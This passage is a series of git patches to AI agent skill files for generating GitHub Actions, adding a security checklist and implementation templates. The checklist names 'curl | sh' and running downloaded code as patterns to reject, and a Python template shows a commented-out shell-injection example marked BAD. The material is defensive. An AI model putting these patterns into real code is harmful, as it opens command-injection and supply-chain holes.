numbers -- [ ] Enum inputs are validated against allowed values -- [ ] No input is trusted implicitly — validate at the boundary - -### Step 5: Permissions Audit - -For the test workflow: -- [ ] Uses least-privilege `permissions` (e.g., `contents: read` not `contents: write` unless needed) -- [ ] No `permissions: write-all` or overly broad permissions -- [ ] `GITHUB_TOKEN` is not passed where it's not needed - -For the action itself: -- [ ] Document required permissions in README.md -- [ ] Action does not request more permissions than specified in SPEC.md - -### Step 6: Supply Chain Security - -- [ ] All external actions in the test workflow are pinned to commit SHA (not tag or branch) -- [ ] All npm dependencies (TypeScript) are pinned to specific versions -- [ ] Docker base images use specific tags or digests -- [ ] No `curl | sh` or equivalent patterns -- [ ] No downloading and executing untrusted code - -### Step 7: Information Disclosure - -- [ ] Error messages do not leak sensitive information (file paths, tokens, internal URLs) -- [ ] Debug output does not contain secrets -- [ ] Action outputs do not inadvertently contain sensitive data -- [ ] Log output is appropriate — not too verbose with internal details - -### Step 8: Produce Security Assessment - -Append to SPEC.md under `## Phase 6: Security Assessment`: - -```markdown -## Phase 6: Security Assessment - -### Status: PASS / FAIL - -### Findings -| # | Severity | Category | Description | Status | -|---|----------|----------|-------------|--------| -| 1 | ... | ... | ... | Fixed / Flagged | - -### Summary -{Overall assessment and any remaining recommendations} -``` - -Severity levels: -- **Critical**: Exploitable vulnerability (command injection, secret leak). Must be fixed. -- **High**: Security weakness likely to be exploited. Must be fixed. -- **Medium**: Defense-in-depth issue. Should be fixed. -- **Low**: Best practice recommendation. Fix if easy, otherwise document. - -### Step 9: Convert SPEC.md to CLAUDE.md - -After the security assessment passes, convert `{action-name}/SPEC.md` into `{action-name}/CLAUDE.md`: -1. Read `report-deployment-status-to-slack/CLAUDE.md` as the reference template -2. Transform the spec into developer-facing documentation following that pattern: - - Action Overview (type, characteristics, dependencies) - - Architecture (execution flow, key patterns) - - Integration Points - - Modification Guidelines - - Security Considerations - - Common Patterns (usage examples) -3. Remove the phase result sections (those were internal) -4. Delete SPEC.md (its purpose is served) - -## Important Rules - -- Fix all Critical and High findings immediately. Do not just report them. -- For Medium findings, fix them directly. -- For Low findings, document them in the assessment for user awareness. -- This is a blocking gate: if Critical issues cannot be resolved, flag to the user. -- Be thorough but avoid false positives. Only flag real risks, not theoretical ones. -- The command injection check on `${{ }}` in `run:` blocks is the single most important check. Do NOT skip it. From 86f19aac98249db5a2c3eb5869f4404b328aaf3c Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 16:05:08 -0400 Subject: [PATCH 23/31] validate for correctness --- .claude/skills/define-action/SKILL.md | 1 + .claude/skills/generate-action/SKILL.md | 1 - .claude/skills/implement-action/SKILL.md | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.claude/skills/define-action/SKILL.md b/.claude/skills/define-action/SKILL.md index 6e249249f..726cafaa7 100644 --- a/.claude/skills/define-action/SKILL.md +++ b/.claude/skills/define-action/SKILL.md @@ -3,6 +3,7 @@ name: define-action description: "Gather requirements for a new GitHub Action through interactive questions and produce a SPEC.md specification file." argument-hint: "[action-name]" allowed-tools: + - Read - Bash(ls:*) - Bash(mkdir:*) - Write diff --git a/.claude/skills/generate-action/SKILL.md b/.claude/skills/generate-action/SKILL.md index 8bf8873c4..d331c6441 100644 --- a/.claude/skills/generate-action/SKILL.md +++ b/.claude/skills/generate-action/SKILL.md @@ -15,7 +15,6 @@ This is a phased, AI-powered workflow that will guide you through the entire pro 3. **Implement** — Write the actual action logic 4. **Evaluate** — Review completeness (input/output coverage, error handling, edge cases) 5. **Validate** — Check formatting, structure, and Bitwarden workflow linter compliance -6. **Secure** — Run a security assessment (injection, secrets, permissions, supply chain) Delegate to the `action-generator` agent to orchestrate this workflow. Pass along any context the user has already provided about the action they want to create. diff --git a/.claude/skills/implement-action/SKILL.md b/.claude/skills/implement-action/SKILL.md index 146b93109..e123a6c88 100644 --- a/.claude/skills/implement-action/SKILL.md +++ b/.claude/skills/implement-action/SKILL.md @@ -116,7 +116,7 @@ Read `{action-name}/README.md` (scaffolded with section headings and TODO placeh 7. **Development section** (if present, TypeScript only): Document `npm install` and `npm run build` commands. 8. Remove all remaining TODO/placeholder comments from the README. -Reference existing READMEs for style — read `check-permission/README.md` or `api-commit/README.md` for well-structured examples. +Follow the structure defined in `references/readme-specfication.md` for section ordering, table format, and formatting rules. Read `check-permission/README.md` or `api-commit/README.md` as live examples of that structure. ### Step 7: Update Test Workflow From a0b17946acca544997821baa151d35facd9e2234 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Wed, 1 Apr 2026 17:08:04 -0400 Subject: [PATCH 24/31] agent templates for structured artifacts Upon testing, the skills output was too non-deterministic. Adding templates, specifications, and patterns to help better guide the artifact creation. --- .claude/skills/define-action/SKILL.md | 62 +--- .claude/skills/evaluate-action/SKILL.md | 24 +- .claude/skills/implement-action/SKILL.md | 27 +- .../references/composite-patterns.md | 287 ++++++++++++++++++ .../references/docker-patterns.md | 259 ++++++++++++++++ .../references/typescript-patterns.md | 225 ++++++++++++++ .claude/skills/scaffold-action/SKILL.md | 92 ++---- .../references/composite-structure.md | 123 ++++++++ .../references/docker-structure.md | 121 ++++++++ .../references/readme-specification.md} | 0 .../references/test-workflow-structure.md | 149 +++++++++ .../references/typescript-structure.md | 144 +++++++++ 12 files changed, 1384 insertions(+), 129 deletions(-) create mode 100644 .claude/skills/implement-action/references/composite-patterns.md create mode 100644 .claude/skills/implement-action/references/docker-patterns.md create mode 100644 .claude/skills/implement-action/references/typescript-patterns.md create mode 100644 .claude/skills/scaffold-action/references/composite-structure.md create mode 100644 .claude/skills/scaffold-action/references/docker-structure.md rename .claude/skills/{implement-action/references/readme-specfication.md => scaffold-action/references/readme-specification.md} (100%) create mode 100644 .claude/skills/scaffold-action/references/test-workflow-structure.md create mode 100644 .claude/skills/scaffold-action/references/typescript-structure.md diff --git a/.claude/skills/define-action/SKILL.md b/.claude/skills/define-action/SKILL.md index 726cafaa7..91bfd1fb3 100644 --- a/.claude/skills/define-action/SKILL.md +++ b/.claude/skills/define-action/SKILL.md @@ -70,69 +70,11 @@ Gather all of the following in as few rounds as possible. Present the full list - Platform requirements (Ubuntu only, or also macOS/Windows)? - Required GitHub token permissions? -### Step 3: Confirm and Validate +### Step 3: Validate 1. Use `ls` in the repository root to verify the action name does not conflict with an existing directory. 2. Use `Glob` with pattern `*/action.yml` to list existing actions for reference. -3. Present all collected requirements using the format below. Ask the user to confirm or correct before writing. - -**Presentation format** — display exactly this structure, filling in collected values: - -``` -───────────────────────────────────────── - {action-name} — Specification Summary -───────────────────────────────────────── - - Type: {composite | typescript | docker} - Description: {one-line description} - Purpose: {why this action exists} - Consumers: {which repos will use this} - Platforms: {ubuntu-only | cross-platform} - Idempotent: {yes | no} - Error mode: {fail fast | skip | degrade} - Permissions: {required GitHub token permissions} - - ┌─ Inputs ────────────────────────────── - │ - │ {name} (required, sensitive) - │ {description} - │ Default: {value} - │ - │ {name} (optional) - │ {description} - │ Default: {value} - │ - └─────────────────────────────────────── - - ┌─ Outputs ───────────────────────────── - │ - │ {name} (sensitive) - │ {description} - │ - │ {name} - │ {description} - │ - └─────────────────────────────────────── - - ┌─ Integrations ──────────────────────── - │ - │ Azure: {details or "None"} - │ GitHub API: {details or "None"} - │ External Services: {details or "None"} - │ Bitwarden Actions: {details or "None"} - │ - └─────────────────────────────────────── - - Notes: {any additional context, edge cases, or blank if none} - -───────────────────────────────────────── -``` - -**Presentation rules:** -- For each input, show parenthetical tags: `(required)`, `(optional)`, `(sensitive)` — combine as needed (e.g., `(required, sensitive)`). -- Omit the `Default:` line for required inputs with no default. -- If there are no inputs, show `│ (none)` inside the Inputs box. Same for Outputs and Integrations. -- After presenting, ask: "Does this look correct? Reply with any changes, or confirm to proceed." +3. If either check reveals a conflict, report it and ask for a corrected name before proceeding. ### Step 4: Write SPEC.md diff --git a/.claude/skills/evaluate-action/SKILL.md b/.claude/skills/evaluate-action/SKILL.md index a516f4e6b..d4074bd32 100644 --- a/.claude/skills/evaluate-action/SKILL.md +++ b/.claude/skills/evaluate-action/SKILL.md @@ -123,15 +123,33 @@ Read `.github/workflows/test-{action-name}.yml` and verify test coverage: - Only success path tested, no failure path: **Medium** severity. - Placeholder test inputs: **Low** severity. -### Step 7: Fix Issues +### Step 7: README Completeness Review -Process all findings collected in Steps 2-6: +Read `{action-name}/README.md` and verify it is a complete, accurate artifact: + +- [ ] README exists and is not empty. +- [ ] Every input declared in `action.yml` appears in the Inputs table. +- [ ] Every output declared in `action.yml` appears in the Outputs table. +- [ ] At least one usage example exists with realistic values (not placeholders). +- [ ] No TODO comments or placeholder text remains. +- [ ] Section ordering follows the structure established by scaffold-action (Title, Description, Features, Inputs, Outputs, Usage, supplementary sections). + +**Flag as findings:** +- Missing README or empty file: **Critical** severity. +- Input or output in action.yml but missing from README table: **High** severity. +- No usage examples: **High** severity. +- Remaining TODO or placeholder text: **Medium** severity. +- Section ordering does not match scaffold structure: **Low** severity. + +### Step 8: Fix Issues + +Process all findings collected in Steps 2-7: 1. **Critical** and **High** issues: Fix directly using `Edit` or `Write`. After fixing, update the finding status to "Fixed." 2. **Medium** issues: Fix directly unless the fix requires a design decision that should be made by the user. If so, set status to "Flagged" with an explanation. 3. **Low** issues: Do not fix. Report to the user for consideration. Set status to "Noted." -### Step 8: Report Results +### Step 9: Report Results Append a summary to `{action-name}/SPEC.md` under a `## Phase 4: Evaluation Results` heading using this exact format: diff --git a/.claude/skills/implement-action/SKILL.md b/.claude/skills/implement-action/SKILL.md index e123a6c88..af3142acd 100644 --- a/.claude/skills/implement-action/SKILL.md +++ b/.claude/skills/implement-action/SKILL.md @@ -38,15 +38,28 @@ The directory must already contain `SPEC.md` and scaffolded files with TODO plac 5. Read all scaffolded files in the `{action-name}/` directory to understand what was generated. 6. If scaffolded files contain no TODO placeholders, stop and report: "Scaffolded files appear to already be implemented. Run evaluate-action to review completeness instead." -### Step 2: Read Reference Implementations +### Step 2: Read Implementation Pattern Templates -Use `Glob` with pattern `*/action.yml` to list existing actions. Identify 1-2 similar actions based on the SPEC.md requirements (same type, similar integrations). Read their implementation files to learn current patterns. +Read the pattern template that matches the action type from `references/` (co-located with this skill): -**Minimum required references by type:** +- **Composite**: Read `references/composite-patterns.md` +- **TypeScript**: Read `references/typescript-patterns.md` +- **Docker/Python**: Read `references/docker-patterns.md` -- **Composite**: Read `check-permission/action.yml` for input validation, env block usage, and output setting. -- **TypeScript**: Read `get-keyvault-secrets/src/main.ts` for input reading, secret masking, error handling, and output setting. -- **Docker/Python**: Read `version-bump/main.py` for environment variable input reading, output writing, and error handling. +These templates are the primary baseline for implementation patterns — input validation, output setting, error handling, API calls, and type-specific conventions. Use them as the authoritative reference. + +**Discovery fallback**: If the SPEC.md describes integrations or patterns not covered by the templates (e.g., a novel external service, an unusual multi-action orchestration), propose specific actions from the repository to use as additional references. Present them to the user before reading: + +``` +The pattern templates do not cover {specific integration/pattern}. +Proposed additional references from the repository: + - {action-name}/action.yml — {why this is relevant} + - {action-name}/src/main.ts — {why this is relevant} + +Proceed with these references? +``` + +Only read repository actions after the user approves. Do not scan the repository speculatively. ### Step 3: Implement Core Logic @@ -116,7 +129,7 @@ Read `{action-name}/README.md` (scaffolded with section headings and TODO placeh 7. **Development section** (if present, TypeScript only): Document `npm install` and `npm run build` commands. 8. Remove all remaining TODO/placeholder comments from the README. -Follow the structure defined in `references/readme-specfication.md` for section ordering, table format, and formatting rules. Read `check-permission/README.md` or `api-commit/README.md` as live examples of that structure. +Populate the sections as scaffolded — the structure was established by scaffold-action. Read `check-permission/README.md` or `api-commit/README.md` as live examples for content style. ### Step 7: Update Test Workflow diff --git a/.claude/skills/implement-action/references/composite-patterns.md b/.claude/skills/implement-action/references/composite-patterns.md new file mode 100644 index 000000000..e6fdaaea6 --- /dev/null +++ b/.claude/skills/implement-action/references/composite-patterns.md @@ -0,0 +1,287 @@ +# Composite Action — Implementation Patterns + +Distilled from: `check-permission`, `get-pull-request-threads`, `update-pr-comment`, `container-tag` + +--- + +## Step Structure + +Every composite step follows this shape: + +```yaml +- name: Descriptive step name + id: step-id + shell: bash + env: + INPUT_NAME: ${{ inputs.input_name }} + SENSITIVE_TOKEN: ${{ inputs.token }} + run: | + set -e + + # === Input Validation === + # ... validate all inputs before any logic ... + + # === Core Logic === + # ... business logic ... + + # === Set Outputs === + echo "output_name=value" >> "$GITHUB_OUTPUT" +``` + +Key rules: +- Every `run:` block starts with `set -e` +- Every input is passed through `env:` — never inline `${{ inputs.* }}` in `run:` +- Sections are separated with comment headers for readability +- Step `id` must match the output `value` references in the action.yml outputs block + +--- + +## Input Validation + +Validate all inputs at the top of the run block, before any business logic. + +### Required non-empty string + +```bash +if [[ -z "$INPUT_NAME" ]]; then + echo "::error::Input 'input_name' is required but was empty." + exit 1 +fi +``` + +### Enum validation + +```bash +if [[ ! "$FAILURE_MODE" =~ ^(fail|skip|continue)$ ]]; then + echo "::error::Invalid failure_mode: must be 'fail', 'skip', or 'continue', got '$FAILURE_MODE'" + exit 1 +fi +``` + +### Positive integer + +```bash +if [[ -z "$PR_NUMBER" ]] || [[ ! "$PR_NUMBER" =~ ^[0-9]+$ ]]; then + echo "::error::Invalid pr_number: must be a positive integer" + exit 1 +fi +``` + +### Repository format (owner/repo) + +```bash +if [[ -z "$REPOSITORY" ]] || [[ ! "$REPOSITORY" =~ ^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$ ]]; then + echo "::error::Invalid repository format: must be 'owner/repo'" + exit 1 +fi +``` + +### GitHub username format + +```bash +if [[ -z "$USERNAME" ]] || [[ ! "$USERNAME" =~ ^[A-Za-z0-9]([A-Za-z0-9-]{0,37}[A-Za-z0-9])?(\[bot\])?$ ]]; then + echo "::error::Invalid username format." + exit 1 +fi +``` + +### Mutually exclusive inputs + +```bash +if [[ -n "$BODY_INPUT" && -n "$BODY_FILE_INPUT" ]]; then + echo "::error::Cannot specify both 'body' and 'body_file' inputs" + exit 1 +fi +``` + +### File path existence + +```bash +if [[ ! -f "$BODY_FILE_INPUT" ]]; then + echo "::warning::body_file not found at ${BODY_FILE_INPUT}, skipping" + exit 0 +fi +``` + +--- + +## Output Setting + +Always write to `$GITHUB_OUTPUT`. Quote the variable. + +```bash +echo "output_name=$VALUE" >> "$GITHUB_OUTPUT" +``` + +For multiple outputs, set each on its own line: + +```bash +echo "has_permission=$HAS_PERM" >> "$GITHUB_OUTPUT" +echo "user_permission=$USER_PERMISSION" >> "$GITHUB_OUTPUT" +echo "should_proceed=$SHOULD_PROCEED" >> "$GITHUB_OUTPUT" +``` + +--- + +## Error Handling + +### Annotations + +Use GitHub Actions annotations for user-facing messages: + +```bash +echo "::error::Description of what went wrong" # Fails visibly in the UI +echo "::warning::Non-fatal issue" # Yellow warning +echo "::notice::Informational message" # Neutral info +``` + +### API call with error capture + +Capture stderr and check the return code: + +```bash +if ! RESPONSE=$(gh api "repos/$REPO/endpoint" --jq '.field' 2>&1); then + echo "::error::API call failed: $RESPONSE" + exit 1 +fi +``` + +### Graceful degradation for non-critical calls + +```bash +if ! COMMENTS=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json comments 2>&1); then + echo "::warning::Failed to retrieve comments: $COMMENTS" + COMMENTS='{"comments":[]}' +fi +``` + +--- + +## GitHub API Patterns + +### REST API via gh cli + +```bash +RESPONSE=$(gh api "repos/${REPOSITORY}/issues/${PR_NUMBER}/comments" \ + --method POST \ + --field body="$BODY") + +COMMENT_ID=$(echo "$RESPONSE" | jq -r '.id') +``` + +### GraphQL API via gh cli + +```bash +GRAPHQL_QUERY=' +query($owner: String!, $repo: String!, $pr: Int!) { + repository(owner: $owner, name: $repo) { + pullRequest(number: $pr) { + # ... fields ... + } + } +}' + +RESPONSE=$(gh api graphql \ + -f query="$GRAPHQL_QUERY" \ + -f owner="$OWNER" \ + -f repo="$REPO" \ + -F pr="$PR_NUMBER") +``` + +### Parsing owner/repo from combined input + +```bash +OWNER="${REPOSITORY%/*}" +REPO="${REPOSITORY#*/}" +``` + +--- + +## Conditional Logic + +### Mode/strategy switching with case statement + +```bash +case "$FAILURE_MODE" in + fail) + echo "::error::Permission denied." + echo "should_proceed=false" >> "$GITHUB_OUTPUT" + exit 1 + ;; + skip) + echo "::warning::Permission denied. Marking for skip." + echo "should_proceed=false" >> "$GITHUB_OUTPUT" + exit 0 + ;; + continue) + echo "::notice::Permission denied. Continuing." + echo "should_proceed=true" >> "$GITHUB_OUTPUT" + exit 0 + ;; +esac +``` + +### Create-or-update pattern + +```bash +if [[ -z "$EXISTING_ID" ]]; then + RESPONSE=$(gh api "repos/${REPO}/issues/${PR}/comments" \ + --method POST --field body="$BODY") + CREATED="true" +else + RESPONSE=$(gh api "repos/${REPO}/issues/comments/${EXISTING_ID}" \ + --method PATCH --field body="$BODY") + CREATED="false" +fi +``` + +--- + +## String Transformation + +### Sanitization pipeline + +```bash +# Lowercase, strip prefix, replace invalid chars, collapse dashes, trim, truncate +IMAGE_TAG=$(tr '[:upper:]' '[:lower:]' <<< "${INPUT}" \ + | sed -E 's/^v//; s/[^a-z0-9._-]+/-/g; s/-+/-/g; s/^[.-]+|[.-]+$//g' \ + | cut -c1-128 \ + | sed -E 's/[.-]$//') +``` + +### Ref stripping (branches and tags) + +```bash +if [[ "${REF_INPUT}" == refs/* ]]; then + BRANCH_NAME=$(sed 's|^refs/heads/||; s|^refs/tags/||' <<< "${REF_INPUT}") +else + BRANCH_NAME="${REF_INPUT}" +fi +``` + +--- + +## JSON Processing with jq + +### Build structured output + +```bash +OUTPUT_JSON=$(jq -n \ + --argjson data "$API_RESPONSE" \ + --arg pr_number "$PR_NUMBER" \ + --arg timestamp "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \ + '{ + pr_number: ($pr_number | tonumber), + timestamp: $timestamp, + items: ($data.nodes | map({ id: .id, value: .value })) + }') + +echo "$OUTPUT_JSON" > "$OUTPUT_PATH" +``` + +### Extract values from JSON response + +```bash +TOTAL=$(echo "$OUTPUT_JSON" | jq -r '.total') +STATUS=$(echo "$OUTPUT_JSON" | jq -r '.status') +``` diff --git a/.claude/skills/implement-action/references/docker-patterns.md b/.claude/skills/implement-action/references/docker-patterns.md new file mode 100644 index 000000000..73d562d06 --- /dev/null +++ b/.claude/skills/implement-action/references/docker-patterns.md @@ -0,0 +1,259 @@ +# Docker/Python Action — Implementation Patterns + +Distilled from: `version-bump` + +--- + +## Entry Point Structure + +Every Python action follows this shape in `main.py`: + +```python +import os +import sys + + +def main(): + # === Read Inputs === + input_name = os.getenv("INPUT_INPUT_NAME", "") + file_path = os.getenv("INPUT_FILE_PATH", "") + + # === Validate Inputs === + if not input_name: + print("::error::Input 'input_name' is required but was empty.") + sys.exit(1) + + # === Core Logic === + # ... business logic ... + + # === Set Outputs === + if "GITHUB_OUTPUT" in os.environ: + with open(os.environ["GITHUB_OUTPUT"], "a") as f: + print(f"output_name={value}", file=f) + + +if __name__ == "__main__": + main() +``` + +Key rules: +- Single `main()` function as entry point +- Guard with `if __name__ == "__main__"` +- Read inputs from `INPUT_`-prefixed environment variables (GitHub uppercases input names) +- Write outputs to the `GITHUB_OUTPUT` file +- Exit with `sys.exit(1)` on failure + +--- + +## Input Reading + +GitHub Actions maps inputs to environment variables with the `INPUT_` prefix and uppercased names. + +```python +# Input "version" becomes INPUT_VERSION +version = os.getenv("INPUT_VERSION", "") + +# Input "file_path" becomes INPUT_FILE_PATH +file_path = os.getenv("INPUT_FILE_PATH", "") +``` + +### Multi-word input names + +Underscores in input names are preserved. Hyphens are converted to underscores. + +```python +# Input "max_threads" becomes INPUT_MAX_THREADS +max_threads = os.getenv("INPUT_MAX_THREADS", "100") +``` + +--- + +## Input Validation + +Validate immediately after reading, before any business logic. + +### Required non-empty + +```python +if not version: + print("::error::Input 'version' is required but was empty.") + sys.exit(1) +``` + +### File existence + +```python +if not os.path.isfile(file_path): + print(f"::error::File not found: {file_path}") + sys.exit(1) +``` + +### Format validation + +```python +import re + +if not re.match(r'^\d+\.\d+\.\d+$', version): + print(f"::error::Invalid version format: expected 'X.Y.Z', got '{version}'") + sys.exit(1) +``` + +### Enum validation + +```python +VALID_TYPES = {".xml", ".json", ".plist", ".toml"} +file_type = os.path.splitext(file_path)[1] +if file_type not in VALID_TYPES: + print(f"::error::Unsupported file type: {file_type}") + sys.exit(1) +``` + +--- + +## Output Setting + +Write outputs by appending to the `GITHUB_OUTPUT` file: + +```python +if "GITHUB_OUTPUT" in os.environ: + with open(os.environ["GITHUB_OUTPUT"], "a") as f: + print(f"status=Updated {file_path}", file=f) +``` + +Always check that `GITHUB_OUTPUT` exists — it won't be set during local testing. + +### Multiple outputs + +```python +if "GITHUB_OUTPUT" in os.environ: + with open(os.environ["GITHUB_OUTPUT"], "a") as f: + print(f"status={status}", file=f) + print(f"file_count={count}", file=f) +``` + +--- + +## Error Handling + +### GitHub Actions annotations + +```python +print("::error::Description of what went wrong") +print("::warning::Non-fatal issue") +print("::notice::Informational message") +``` + +### File operation errors + +```python +try: + with open(file_path, "r") as f: + data = json.load(f) +except FileNotFoundError: + print(f"::error::File not found: {file_path}") + sys.exit(1) +except json.JSONDecodeError as e: + print(f"::error::Invalid JSON in {file_path}: {e}") + sys.exit(1) +``` + +### Top-level exception guard + +```python +if __name__ == "__main__": + try: + main() + except Exception as e: + print(f"::error::Unexpected error: {e}") + sys.exit(1) +``` + +--- + +## File Format Dispatch + +When an action handles multiple file types, dispatch based on extension: + +```python +def get_file_type(file_path): + return os.path.splitext(file_path)[1] + +file_type = get_file_type(file_path) + +if file_type in {".xml", ".props", ".csproj"}: + update_xml(version, file_path) +elif file_type == ".json": + update_json(version, file_path) +elif file_type == ".plist": + update_plist(version, file_path) +else: + print(f"::error::Unsupported file type: {file_type}") + sys.exit(1) +``` + +--- + +## Subprocess Usage + +When shell commands are needed, always use argument lists — never `shell=True` with untrusted input: + +```python +import subprocess + +# GOOD — safe argument list +result = subprocess.run( + ["git", "tag", "-l", version], + capture_output=True, + text=True, + check=True, +) + +# BAD — shell injection risk +# subprocess.run(f"git tag -l {version}", shell=True) +``` + +### Handling subprocess errors + +```python +try: + result = subprocess.run( + ["command", "arg1", "arg2"], + capture_output=True, + text=True, + check=True, + ) +except subprocess.CalledProcessError as e: + print(f"::error::Command failed (exit {e.returncode}): {e.stderr}") + sys.exit(1) +``` + +--- + +## Dockerfile Structure + +Use multi-stage builds with a distroless final image: + +```dockerfile +FROM python:3-slim AS builder + +WORKDIR /app + +# Install dependencies to the app directory +RUN pip3 install --no-cache-dir package-name --target=. + +ADD ./main.py . + +FROM gcr.io/distroless/python3-debian12 + +WORKDIR /app +COPY --from=builder /app /app +ENV PYTHONPATH=/app + +ENTRYPOINT ["/usr/bin/python3", "-u", "/app/main.py"] +``` + +Key rules: +- Builder stage installs dependencies with `--target=.` so they're co-located +- Final stage uses `gcr.io/distroless/python3-debian12` for minimal attack surface +- `-u` flag on python ensures unbuffered output (logs appear in real time) +- Only add `RUN pip3 install` if the action needs external packages diff --git a/.claude/skills/implement-action/references/typescript-patterns.md b/.claude/skills/implement-action/references/typescript-patterns.md new file mode 100644 index 000000000..5fd7edc76 --- /dev/null +++ b/.claude/skills/implement-action/references/typescript-patterns.md @@ -0,0 +1,225 @@ +# TypeScript Action — Implementation Patterns + +Distilled from: `get-keyvault-secrets` + +--- + +## Entry Point Structure + +Every TypeScript action follows this shape in `src/main.ts`: + +```typescript +import * as core from '@actions/core'; + +async function run(): Promise { + try { + // === Read Inputs === + const requiredInput = core.getInput('input_name', { required: true }); + const optionalInput = core.getInput('optional_input', { required: false }) || 'default'; + + // === Validate Inputs === + // ... validation logic ... + + // === Mask Sensitive Values === + core.setSecret(sensitiveValue); + + // === Core Logic === + // ... business logic ... + + // === Set Outputs === + core.setOutput('output_name', value); + } catch (error) { + core.setFailed(error instanceof Error ? error.message : String(error)); + } +} + +run(); +``` + +Key rules: +- Single `run()` async function as the entry point +- Entire body wrapped in try/catch +- `core.setFailed()` in the catch block — never throw unhandled +- Read all inputs at the top, validate immediately after + +--- + +## Input Reading + +### Required input + +```typescript +const keyvault = core.getInput('keyvault', { required: true }); +``` + +GitHub Actions will fail the step if a required input is missing, but always validate the value too. + +### Optional input with default + +```typescript +const format = core.getInput('format', { required: false }) || 'json'; +``` + +### Comma-separated list input + +```typescript +const secretNames = core.getInput('secrets', { required: true }) + .split(',') + .map((s) => s.trim()) + .filter(Boolean); +``` + +### Boolean input + +```typescript +const verbose = core.getInput('verbose', { required: false }).toLowerCase() === 'true'; +``` + +--- + +## Input Validation + +Validate after reading, before any business logic: + +```typescript +if (!inputValue.match(/^[a-z0-9-]+$/)) { + throw new Error(`Invalid input_name: must be lowercase alphanumeric with hyphens, got '${inputValue}'`); +} + +if (secretNames.length === 0) { + throw new Error('Input "secrets" must contain at least one secret name'); +} +``` + +The throw will be caught by the outer try/catch and passed to `core.setFailed()`. + +--- + +## Secret Masking + +Mask sensitive values **before any logging or output setting**: + +```typescript +core.setSecret(secret.value); +core.setOutput(secretName, secret.value); +``` + +Order matters — if you set the output before masking, the value may appear in logs. + +--- + +## Output Setting + +```typescript +core.setOutput('result', value); +core.setOutput('count', items.length.toString()); +``` + +Outputs are always strings. Convert numbers and booleans explicitly. + +--- + +## Error Handling + +### Top-level catch + +Every action uses this pattern: + +```typescript +catch (error) { + core.setFailed(error instanceof Error ? error.message : String(error)); +} +``` + +### Typed error handling for SDK calls + +```typescript +try { + const secret = await client.getSecret(secretName); + if (secret.value === undefined) { + throw new Error(`Secret "${secretName}" has no value`); + } +} catch (error) { + if (error instanceof RestError && error.statusCode === 404) { + throw new Error(`Secret "${secretName}" not found in vault "${keyvault}"`); + } + throw error; // Re-throw unexpected errors +} +``` + +### Iterating with error accumulation + +```typescript +const errors: string[] = []; +for (const name of items) { + try { + // ... process item ... + } catch (error) { + errors.push(`${name}: ${error instanceof Error ? error.message : String(error)}`); + } +} +if (errors.length > 0) { + throw new Error(`Failed to process ${errors.length} item(s):\n${errors.join('\n')}`); +} +``` + +--- + +## Azure SDK Integration + +### Credential and client setup + +```typescript +import { AzureCliCredential } from '@azure/identity'; +import { SecretClient } from '@azure/keyvault-secrets'; + +const credential = new AzureCliCredential(); +const client = new SecretClient( + `https://${keyvault}.vault.azure.net`, + credential, +); +``` + +### Retrieving secrets with masking + +```typescript +for (const secretName of secretNames) { + const secret = await client.getSecret(secretName); + if (secret.value === undefined) { + throw new Error(`Secret "${secretName}" has no value`); + } + core.setSecret(secret.value); + core.setOutput(secretName, secret.value); +} +``` + +--- + +## Package Dependencies + +### Minimum required + +```json +{ + "dependencies": { + "@actions/core": "^1.11.1" + }, + "devDependencies": { + "@vercel/ncc": "^0.38.4", + "typescript": "^5.9.3" + } +} +``` + +### Common additions by integration + +| Integration | Package | +|---|---| +| GitHub API | `@actions/github` | +| Shell execution | `@actions/exec` | +| File globbing | `@actions/glob` | +| Azure Key Vault | `@azure/identity`, `@azure/keyvault-secrets` | +| Azure Storage | `@azure/identity`, `@azure/storage-blob` | +| HTTP requests | `@actions/http-client` | + +Only add dependencies required by the SPEC.md integrations. diff --git a/.claude/skills/scaffold-action/SKILL.md b/.claude/skills/scaffold-action/SKILL.md index bd55afee6..90014a774 100644 --- a/.claude/skills/scaffold-action/SKILL.md +++ b/.claude/skills/scaffold-action/SKILL.md @@ -32,24 +32,32 @@ The action directory must already contain a `SPEC.md` file produced by the `defi 2. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run the define-action skill first to generate a specification." 3. Read `{action-name}/SPEC.md` to understand the action's type, inputs, outputs, and integrations. -### Step 2: Read Reference Files +### Step 2: Read Structural Templates -Read the appropriate reference files from the repository to ensure generated code matches current conventions. +Read the structural templates from `references/` (co-located with this skill). These are the primary baseline for file structure, field ordering, and skeleton content. **For ALL action types, read:** -- `check-permission/action.yml` -- reference for action.yml structure, input validation, output setting -- `.github/workflows/test-check-permission.yml` -- reference for test workflow structure +- `references/test-workflow-structure.md` — test workflow triggers, permissions, pinning, job structure +- `references/readme-specification.md` — README section definitions and formatting rules -**For TypeScript actions, also read:** -- `get-keyvault-secrets/action.yml` -- node24 action.yml pattern -- `get-keyvault-secrets/package.json` -- dependency and build script pattern -- `get-keyvault-secrets/tsconfig.json` -- TypeScript configuration -- `get-keyvault-secrets/src/main.ts` -- implementation skeleton pattern +**Per action type, also read:** +- **Composite**: `references/composite-structure.md` +- **TypeScript**: `references/typescript-structure.md` +- **Docker/Python**: `references/docker-structure.md` -**For Docker actions, also read:** -- `version-bump/action.yml` -- Docker action.yml pattern -- `version-bump/Dockerfile` -- multi-stage build pattern -- `version-bump/main.py` -- Python entry point pattern +Use these templates as the authoritative source for generating skeleton files. The inline examples in Steps 4-7 below are summaries — the templates have the full detail. + +**Discovery fallback**: If the SPEC.md describes integrations or structural needs not covered by the templates (e.g., wrapping an unfamiliar external action, unusual multi-file layout), propose specific actions from the repository to use as additional references. Present them to the user before reading: + +``` +The structural templates do not cover {specific need}. +Proposed additional references from the repository: + - {action-name}/{file} — {why this is relevant} + +Proceed with these references? +``` + +Only read repository files after the user approves. Do not scan the repository speculatively. ### Step 3: Create Directory @@ -90,6 +98,7 @@ Create `{action-name}/package.json`: "name": "@bitwarden/{action-name}", "version": "0.0.0", "private": true, + "type": "module", "scripts": { "build": "ncc build src/main.ts -o dist --license licenses.txt", "postbuild": "node -e \"const fs=require('fs'); const f='dist/index.js'; fs.writeFileSync(f, fs.readFileSync(f,'utf8').replace(/\\r\\n/g,'\\n'))\"" @@ -238,56 +247,20 @@ jobs: echo "TODO: Verify action outputs" ``` 